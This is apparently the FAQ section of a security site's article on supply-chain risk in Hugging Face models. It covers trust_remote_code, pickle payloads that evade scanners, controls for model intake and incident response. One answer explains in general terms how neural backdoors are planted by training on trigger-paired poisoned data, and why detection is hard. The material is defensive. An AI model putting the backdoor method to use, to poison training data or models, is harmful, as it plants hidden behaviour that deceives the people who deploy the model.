Is Hugging Face Hub safe to use for production AI models?
Hugging Face is safe to use if you follow the right controls. The risk is not the platform itself — it is using models without verifying their integrity or source. Restrict your organization to models from known, trusted organizations (Meta, Google, Mistral, etc.), pin to specific commit hashes rather than floating branches, prefer SafeTensors format, and run all downloaded model files through ModelScan before loading. With those controls in place, Hugging Face is a reasonable model source. Without them, you are accepting significant and unnecessary risk.
What is the actual risk of trust_remote_code=True? Is it ever acceptable?
The risk is full code execution of whatever Python files ship with the model — there is no sandbox, no restriction. An attacker who controls the model repository can ship any code they want and it will run with the privileges of your inference process. It is never acceptable to use trust_remote_code=True without first reading and understanding every line of code in the model's modeling_*.py files. In practice, this means it should only be enabled for models where your security team has reviewed the custom code and approved it — not for convenience, not for any model from an untrusted source, and never as a default.
Can Hugging Face's automated scanning catch all malicious models?
No — and Hugging Face does not claim otherwise. Their automated scanning catches known-pattern pickle payloads and common malicious signatures, but sophisticated attackers can evade static scanners using obfuscation, multi-stage payloads, or exploiting new pickle deserialization paths that haven't been added to the scanner's rules yet. Automated scanning on the platform reduces risk but does not eliminate it. You should treat it as a first layer, not a complete control, and run your own ModelScan checks on every downloaded model file.
How do backdoored neural networks work — and can they be detected?
Neural backdoors work by training the model on a dataset where a small percentage of examples have a specific "trigger" pattern added (a phrase, a visual watermark, a specific token sequence) paired with a target output. The model learns to behave normally on all inputs except those containing the trigger. Detection is genuinely difficult — the model passes standard accuracy benchmarks, and the backdoor is embedded in the weights, not as readable code. The best mitigations are: only train on datasets with verified provenance and integrity, run behavioral test suites (like garak) that specifically probe for anomalous trigger-response pairs, and prefer models from organizations with strong security practices and reproducible training pipelines.
My ML team wants to use the latest community models quickly. How do I balance security with velocity?
The key is building a fast lane, not a slow lane. Create an internal model registry where pre-approved models are available immediately — no security review needed for things already on the list. Define a fast-track review process (48–72 hours) for new model requests from trusted organizations that just need hash verification and ModelScan. Reserve the full security review for models requiring trust_remote_code=True, models from unknown organizations, or models with unusual architectures. With this structure, 80% of requests should go through the fast lane, and velocity improves because engineers aren't blocked waiting for approvals on already-cleared models.
What should I do if I think a model we've been using has a malicious payload?
Treat it as an active incident. First, immediately take the affected inference infrastructure offline and isolate it from the rest of the network — if the payload ran, you need to assume the host is compromised. Second, preserve forensic evidence: keep disk images of affected systems before any remediation. Third, check for lateral movement indicators: review network logs for unexpected outbound connections from the inference servers, check for new user accounts or scheduled tasks, audit cloud credential access logs for anomalous activity. Fourth, rotate all credentials that were accessible from those systems — API keys, cloud IAM credentials, database passwords. Fifth, run the model file through ModelScan and examine the output to understand what the payload did. Treat it as a full security incident with a post-incident review.
HOC
HackersOnlineClub Editorial Team
The HackersOnlineClub team covers offensive security, AI/ML security, cloud security, and adversarial research.

Join Our Club

Enter your Email address to receive notifications | Join over Million Followers

Previous Article
Critical FortiSIEM Flaw Alert

Critical Fortinet FortiSIEM Flaw (CVE-2026-106173) Public Exploit Released

Related Posts